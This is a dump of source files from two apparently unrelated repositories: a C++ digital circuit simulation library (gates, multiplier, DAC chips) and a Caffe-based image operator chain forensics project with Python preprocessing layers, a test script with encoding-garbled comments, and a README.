for (forIndex=0;forIndex<2;forIndex++)
input[forIndex].refreshInput();
}
void MultiplierChip::clockOutput()
{
output.outputRegister.leftCircularShift(1);
}
void MultiplierChip::resetInput()
{
for (forIndex=0;forIndex<2;forIndex++)
{
mInputValue[forIndex] = input[forIndex].inputRegister.getValue(); // 0->max
mInputValueFloat[forIndex] = (float)(mInputValue[forIndex]+1) / ((1<<nbits)); // 0->1 (just below)
mInputValueFloat[forIndex] = mInputValueFloat[forIndex]*2-1; // -1 -> 1 (just below)
}
mOutputValueFloat = mInputValueFloat[0]*mInputValueFloat[1]; // -1 ->1
mOutputValueFloat = (mOutputValueFloat + 1 ) * 0.5; // 0->1 (just below)
mOutputValue = mOutputValueFloat * ((1<<nbits)) - 1;
mOutputValueFloat = mOutputValueFloat*2 - 1;
}
void MultiplierChip::resetOutput()
{
output.outputRegister.setValue(mOutputValue);
}<file_sep>/Chip/Wavetable/SinWaveChip.cpp
//
// SinWaveChip.cpp
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "SinWaveChip.h"
#include <math.h>
SinWaveChip::SinWaveChip()
{
cache();
}
float SinWaveChip::waveFunction(short i)
{
return sinf(2*M_PI*i/(1<<nbits));
}
<file_sep>/Chip/DacChip.cpp
//
// DacChip.cpp
// ChipLibraryTestBed
//
// Created by Mayank on 9/8/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "DacChip.h"
DacChip::DacChip()
{
resetInputRegister.setChip(this);
for(forIndex=0; forIndex<16; forIndex++)
input[forIndex].setChip(this);
}
void DacChip::tickInput()
{
resetInputRegister.refreshInput();
if (resetInputRegister.getRisingEdge())
resetInput();
}
void DacChip::tickOutput()
{
if (resetInputRegister.getRisingEdge())
resetOutput();
}
void DacChip::resetInput()
{
for(forIndex=0; forIndex<16; forIndex++)
{
input[forIndex].refreshInput();
}
}
void DacChip::resetOutput()
{
mOutputValue = 0;
for(forIndex=0; forIndex<16; forIndex++)
{
mOutputValue += input[forIndex].getInputBit()*(1<<forIndex);
}
mOutputValueFloat = ((float)mOutputValue / (1<<nbits)) * 2 - 1;
}<file_sep>/Chip/Gate/Gate.cpp
//
// Gate.cpp
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "Gate.h"<file_sep>/Chip/Gate/BinaryGate/BinaryGate.cpp
//
// BinaryGate.cpp
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "BinaryGate.h"
BinaryGate::BinaryGate()
{
input[0].setChip(this);
input[1].setChip(this);
output.setChip(this);
}
void BinaryGate::tickInput()
{
input[0].refreshInput();
input[1].refreshInput();
}
void BinaryGate::tickOutput()
{
output.setOutputBit(logicalOperation(input[0].getInputBit(), input[1].getInputBit()));
}<file_sep>/Chip/Gate/BinaryGate/OrBinaryGate.h
//
// OrBinaryGate.h
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__OrBinaryGate__
#define __CircuitModel__OrBinaryGate__
#include <iostream>
#include "BinaryGate.h"
class OrBinaryGate: public BinaryGate
{
protected:
public:
bool logicalOperation(bool in0,bool in1);
};
#endif /* defined(__CircuitModel__OrBinaryGate__) */
<file_sep>/Chip/MultiplierChip.h
//
// MultiplierChip.h
// ChipLibraryTestBed
//
// Created by Mayank on 10/17/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__MultiplierChip__
#define __CircuitModel__MultiplierChip__
#include <iostream>
#include "Chip.h"
#include "SerialOutput.h"
#include "SerialInput.h"
#include "EdgeTriggeredInput.h"
class MultiplierChip:public Chip
{
protected:
unsigned short mInputValue[2],mOutputValue;
float mInputValueFloat[2],mOutputValueFloat;
unsigned short forIndex;
public:
MultiplierChip();
SerialInput input[2];
SerialOutput output;
EdgeTriggeredInput clockInputRegister;
EdgeTriggeredInput resetInputRegister;
void tickInput();
void tickOutput();
void clockInput();
void clockOutput();
void resetInput();
void resetOutput();
float getOutputValueFloat() {return mOutputValueFloat;}
unsigned short getOutputValue() {return mOutputValue;}
virtual std::string description() {return "multiplier";};
};
#endif /* defined(__CircuitModel__MultiplierChip__) */
<file_sep>/ChipIO/ChipIO.h
//
// ChipIO.h
// CircuitModel
//
// Created by Mayank on 9/5/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__ChipIO__
#define __CircuitModel__ChipIO__
#include <iostream>
class Chip;
class ChipIO
{
protected:
public:
ChipIO() {chip=NULL;}
Chip* chip;
void setChip(Chip *withChip);
};
#endif /* defined(__CircuitModel__ChipIO__) */
<file_sep>/ChipIO/ChipInput/ChipInput.cpp
//
// ChipInput.cpp
// CircuitModel
//
// Created by Mayank on 9/5/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "ChipInput.h"
void ChipInput::setConnection(ChipOutput *withConnection)
{
connection = withConnection;
}<file_sep>/Chip/Gate/BinaryGate/NorBinaryGate.cpp
//
// NorBinaryGate.cpp
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "NorBinaryGate.h"
bool NorBinaryGate::logicalOperation(bool in0, bool in1)
{
return !(in0|in1);
}
<file_sep>/ChipIO/ChipInput/SerialInput.h
//
// SerialInput.h
// CircuitModel
//
// Created by Mayank on 9/5/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__SerialInput__
#define __CircuitModel__SerialInput__
#include <iostream>
#include "ChipInput.h"
#include "ChipOutput.h"
#include "Register.h"
class SerialInput: public ChipInput
{
protected:
public:
Register inputRegister;
void refreshInput();
};
#endif /* defined(__CircuitModel__SerialInput__) */
<file_sep>/Chip/FloatingVoltageChip.h
//
// FloatingVoltageChip.h
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__FloatingVoltageChip__
#define __CircuitModel__FloatingVoltageChip__
#include <iostream>
#include "SingleBitOutput.h"
#include "Chip.h"
class FloatingVoltageChip:public Chip
{
protected:
SingleBitOutput output;
public:
FloatingVoltageChip();
void tickInput();
void tickOutput();
virtual std::string description() {return "floating voltage";};
};
#endif /* defined(__CircuitModel__FloatingVoltageChip__) */
<file_sep>/ChipIO/ChipInput/EdgeTriggeredInput.h
//
// EdgeTriggeredInput.h
// CircuitModel
//
// Created by Mayank on 9/5/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__EdgeTriggeredInput__
#define __CircuitModel__EdgeTriggeredInput__
#include <iostream>
#include "ChipInput.h"
#include "ChipOutput.h"
#include "Register.h"
class EdgeTriggeredInput: public ChipInput
{
protected:
public:
bool inputBit;
bool state;
bool risingEdge;
public:
void refreshInput();
bool getRisingEdge();
bool getState();
};
#endif /* defined(__CircuitModel__EdgeTriggeredInput__) */
<file_sep>/Chip/ResetTimerChip.cpp
//
// ResetTimerChip.cpp
// ChipLibraryTestBed
//
// Created by Mayank on 10/25/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "ResetTimerChip.h"
ResetTimerChip::ResetTimerChip()
{
input.setChip(this);
output.setChip(this);
mCount = 0;
}
void ResetTimerChip::tickInput()
{
input.refreshInput();
if (input.getRisingEdge())
clockInput();
}
void ResetTimerChip::tickOutput()
{
if (input.getRisingEdge())
clockOutput();
}
void ResetTimerChip::clockInput()
{
mCount++;
mCount %= nbits;
mState = !mCount;
}
void ResetTimerChip::clockOutput()
{
output.setOutputBit(mState);
}
<file_sep>/ChipIO/ChipInput/SingleBitInput.h
//
// SingleBitInput.h
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__SingleBitInput__
#define __CircuitModel__SingleBitInput__
#include <iostream>
#include "ChipInput.h"
#include "ChipOutput.h"
#include "Register.h"
class SingleBitInput: public ChipInput
{
protected:
bool inputBit;
public:
SingleBitInput();
void refreshInput();
void setInputBit(bool withBit);
bool getInputBit();
};
#endif /* defined(__CircuitModel__SingleBitInput__) */
<file_sep>/ChipIO/ChipIO.cpp
//
// ChipIO.cpp
// CircuitModel
//
// Created by Mayank on 9/5/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "ChipIO.h"
void ChipIO::setChip(Chip *withChip)
{
chip = withChip;
}<file_sep>/ChipIO/ChipInput/ChipInput.h
//
// ChipInput.h
// CircuitModel
//
// Created by Mayank on 9/5/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__ChipInput__
#define __CircuitModel__ChipInput__
#include <iostream>
#include "ChipIO.h"
class ChipOutput;
class ChipInput: public ChipIO
{
protected:
ChipOutput *connection;
public:
ChipInput() {connection=NULL;}
void setConnection(ChipOutput *withConnection);
virtual void refreshInput() {};
bool isConnected() {
return connection
;};
};
#endif /* defined(__CircuitModel__ChipInput__) */
<file_sep>/Chip/VccChip.cpp
//
// VccChip.cpp
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#include "VccChip.h"
VccChip::VccChip()
{
output.setChip(this);
output.setOutputBit(1); // Vcc
}<file_sep>/Chip/GroundChip.h
//
// GroundChip.h
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__GroundChip__
#define __CircuitModel__GroundChip__
#include <iostream>
#include "SingleBitOutput.h"
#include "Chip.h"
class GroundChip:public Chip
{
protected:
SingleBitOutput output;
public:
GroundChip();
virtual std::string description() {return "ground";};
};
#endif /* defined(__CircuitModel__GroundChip__) */
<file_sep>/ChipIO/ChipOutput/ChipOutput.h
//
// ChipOutput.h
// CircuitModel
//
// Created by Mayank on 9/5/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__ChipOutput__
#define __CircuitModel__ChipOutput__
#include <iostream>
#include "ChipIO.h"
class ChipInput;
class ChipOutput: public ChipIO
{
protected:
// ChipInput *connection;
public:
// void setConnection(ChipInput *withConnection);
virtual bool serialOutput() {return 0;};
};
#endif /* defined(__CircuitModel__ChipOutput__) */
<file_sep>/Chip/Gate/BinaryGate/BinaryGate.h
//
// BinaryGate.h
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__BinaryGate__
#define __CircuitModel__BinaryGate__
#include <iostream>
#include "Gate.h"
#include "SingleBitInput.h"
class BinaryGate:public Gate
{
protected:
public:
BinaryGate();
SingleBitInput input[2];
void tickInput();
void tickOutput();
virtual bool logicalOperation(bool logicIn0, bool logicIn1) {return 0;};
};
#endif /* defined(__CircuitModel__BinaryGate__) */
<file_sep>/Chip/Gate/BinaryGate/AndBinaryGate.h
//
// AndBinaryGate.h
// CircuitModel
//
// Created by Mayank on 9/7/12.
// Copyright (c) 2012 <NAME>. All rights reserved.
//
#ifndef __CircuitModel__AndBinaryGate__
#define __CircuitModel__AndBinaryGate__
#include <iostream>
#include "BinaryGate.h"
class AndBinaryGate: public BinaryGate
{
protected:
public:
bool logicalOperation(bool in0,bool in1);
};
#endif /* defined(__CircuitModel__AndBinaryGate__) */
| ccf2263d01d24a6f51e9093ee64dd9945c6807b0 | [
"Markdown",
"C",
"C++"
] | 51 | C++ | e7mac/Chip-Library | b8f48b2808baadf13dab4525a357c2814d9cd4cd | 3e69ab00ec701ca598fac53e12af18ed0c35801e |
refs/heads/master | <repo_name>kide-li/image-operator-chain-detection<file_sep>/test_model_result/confuse_rsbr/img_testing.py
# -*- coding: utf-8 -*-
"""
Created on Sun Jan 20 16:37:34 2019
@author: Administrator
"""
#coding=utf-8
import caffe
import os
import numpy as np
root='D:/software/caffe/examples/forensics/confuse_rsbr/' #æ ¹ç®å½?
deploy=root + 'deploy.prototxt' #deployæä»¶
caffe_model=root + 'Net_iter_984000.caffemodel' #è®ç»å¥½ç caffemodel
#labels_filename = root + 'labels.txt' #ç±»å«åç§°æä»¶ï¼å°æ°åæ ç¾è½¬æ¢åç±»å«åç§?
caffe.set_mode_gpu()
net = caffe.Net(deploy,caffe_model,caffe.TEST) #å è½½modelånetwork
#å¾çé¢å¤ç设ç½?
transformer = caffe.io.Transformer({'data': net.blobs['data'].data.shape}) #设å®å¾ççshapeæ ¼å¼(1,3,64,64)
transformer.set_transpose('data', (2,0,1)) #æ¹å维度ç顺åºï¼ç±åå§å¾ç?64,64,3)å为(3,64,64)
#transformer.set_mean('data', np.load(mean_file).mean(1).mean(1)) #åå»åå?ï¼åé¢è®ç»æ¨¡åæ¶æ²¡æååå¼ï¼è¿å¿å°±ä¸ç?
#transformer.set_raw_scale('data', 255) # 缩æ¾å°[0ï¼?55]ä¹é´
transformer.set_channel_swap('data', (2,1,0)) #交æ¢ééï¼å°å¾çç±RGBå为BGR
#ç»æä¿åè·¯å¾
fresult = open('boss_confuse_rsbr_result.txt','w')
#è·åæµè¯å¾åçè·¯å¾?
firstfolder = 'F:/boss/boss_confuse_rsbr/'
folderList = os.listdir(firstfolder)
for foldern in folderList:
imgList = []
if os.path.isdir(firstfolder+foldern):
result = np.zeros(5,dtype=np.int)
imgName = os.listdir(firstfolder+foldern)
for imgn in imgName:
imgFullName = os.path.join(firstfolder+foldern+'/'+imgn)
imgList.append(imgFullName)
for imgInd in imgList:
im=caffe.io.load_image(imgInd) #å è½½å¾ç
net.blobs['data'].data[...] = transformer.preprocess('data',im) #æ§è¡ä¸é¢è®¾ç½®çå¾çé¢å¤çæä½ï¼å¹¶å°å¾çè½½å
#æ§è¡æµè¯
out = net.forward()
#labels = np.loadtxt(labels_filename, str, delimiter='\t') #读åç±»å«åç§°æä»¶
prob= net.blobs['prob'].data[0].flatten() #ååºæ?ä¸?±ï¼Softmaxï¼å±äºæä¸ªç±»å«çæ¦çå¼ï¼å¹¶æå?
predictlabel = prob.argsort()[-1]
print 'processing: '+imgInd+', the predict label is: '+str(predictlabel)
result[predictlabel] = result[predictlabel] + 1
for i in range(0,len(result)):
fresult.write(str(result[i])+'\t')
fresult.write('\n')
fresult.close()<file_sep>/preprocessing/filterlayer.py
# -*- coding: utf-8 -*-
"""
Created on Thu Jan 17 23:07:35 2019
@author: likaide
"""
import caffe
import cv2
import numpy as np
kernel = np.array([[-0.25,0.5,-0.25],[0.5,0,0.5],[-0.25,0.5,-0.25]])
class PythonLayer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
for i in range(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
##p-map filter
imtemp = cv2.filter2D(imTrans, -1, kernel)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass<file_sep>/README.md
This is the code for our paper 'Robust Detection of Image Operator Chain with Two-stream Convolutional Neural Network'
Directories and files included in the implementation:
'generate_train_data'
--This folder contains the codes for generating training data with different operation parameters.
'train_model'
--This folder contains the codes for training model.
'generate_test_data'
--This folder contains the codes for generating testing data with different operation parameters.
'test_model'
--This folder contains the codes for testing model.
'preprocessing'
--This folder contains the codes for preprocessing. '\caffe\python\**.py'
In our paper, we select 1,000 color images from UCID database to generate training and validation databases.
BOSSbase image set consisting of 10,000 color images is used to acquire the testing image database.
On this basis, an example is given in detail:
'Upsampling factor s = 1.5, Gaussian blurring variance ν = 1.0'
'genetate_train_data\rs15br10\ucid_pro_rs15br10.m'--the code for generating 5 classes data for training.
'genetate_train_data\rs15br10\label_txt.m'--the code for generating training and validation labels.
'genetate_train_data\rs15br10\img_lmdb.bat'--the code to create lmdb training and validation file. ('rs15br10_train_lmdb', 'rs15br10_val_lmdb')
'train_model\rs15br10\Net_train_val.prototxt'--the model prototxt of our network in training stage.
'train_model\rs15br10\Net_solver.prototxt'--the solver prototxt of our network as described in our paper.
'train_model\rs15br10\deploy.prototxt'--the model prototxt of our network in testing stage.
'train_model\rs15br10\Net_train_val_log.bat'--run file to train and test model with corresponding solver and model prototxt.
'train_model\rs15br10\Net_iter_120000.caffemodel'--the trained model.
'generate_test_data\boss_rs15br10\boss_pro.m'--the code for generating 5 classes data for testing model.
'test_model_result\rs15br10\img_testing.py'--the code to test model.
To run the code, you need change the file path in all files according to your own experiments.
If you have any questions, please send me an email to <EMAIL>
<file_sep>/preprocessing/dctrlayer.py
# -*- coding: utf-8 -*-
"""
Spyder Editor
This is a temporary script file.
"""
import caffe
import cv2
import numpy as np
import os
os.environ["CUDA_VISIBLE_DEVICES"] = "0"
kernel = np.zeros([5,5,5,5])
w = np.array([1, np.sqrt(2), np.sqrt(2), np.sqrt(2), np.sqrt(2)]);
for m in xrange(0,5):
for n in xrange(0,5):
for k in xrange(0,5):
for l in xrange(0,5):
kernel[m,n,k,l] = 1/5.0*w[k]*w[l]*np.cos(np.pi*k*(2*m+1)/10.0)*np.cos(np.pi*l*(2*n+1)/10.0)
class DCT00Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel00 = kernel[:,:,0,0]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel00)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT01Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel01 = kernel[:,:,0,1]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel01)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT02Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel02 = kernel[:,:,0,2]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel02)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT03Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel03 = kernel[:,:,0,3]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel03)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT04Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel04 = kernel[:,:,0,4]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel04)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT10Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel10 = kernel[:,:,1,0]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel10)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT11Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel11 = kernel[:,:,1,1]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel11)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT12Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel12 = kernel[:,:,1,2]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel12)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT13Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel13 = kernel[:,:,1,3]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel13)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT14Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel14 = kernel[:,:,1,4]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel14)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT20Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel20 = kernel[:,:,2,0]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel20)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT21Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel21 = kernel[:,:,2,1]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel21)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT22Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel22 = kernel[:,:,2,2]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel22)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT23Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel23 = kernel[:,:,2,3]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel23)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT24Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel24 = kernel[:,:,2,4]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel24)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT30Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel30 = kernel[:,:,3,0]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel30)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT31Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel31 = kernel[:,:,3,1]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel31)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT32Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel32 = kernel[:,:,3,2]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel32)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT33Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel33 = kernel[:,:,3,3]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel33)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT34Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel34 = kernel[:,:,3,4]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel34)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT40Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel40 = kernel[:,:,4,0]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel40)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT41Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel41 = kernel[:,:,4,1]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel41)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT42Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel42 = kernel[:,:,4,2]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel42)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT43Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel43 = kernel[:,:,4,3]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel43)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass
class DCT44Layer(caffe.Layer):
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
kernel44 = kernel[:,:,4,4]
for i in xrange(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
imTrans = img.transpose(1,2,0)
imtemp = cv2.filter2D(imTrans,-1,kernel44)
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass<file_sep>/preprocessing/dftlayer.py
import caffe
import numpy as np
class PythonLayer(caffe.Layer):
"""
Compute the Euclidean Loss in the same manner as the C++ EuclideanLossLayer
to demonstrate the class interface for developing layers in Python.
"""
def setup(self, bottom, top):
pass
def reshape(self, bottom, top):
top[0].reshape(*bottom[0].shape)
def forward(self, bottom, top):
for i in range(0,bottom[0].data.shape[0]):
img = bottom[0].data[i,...]
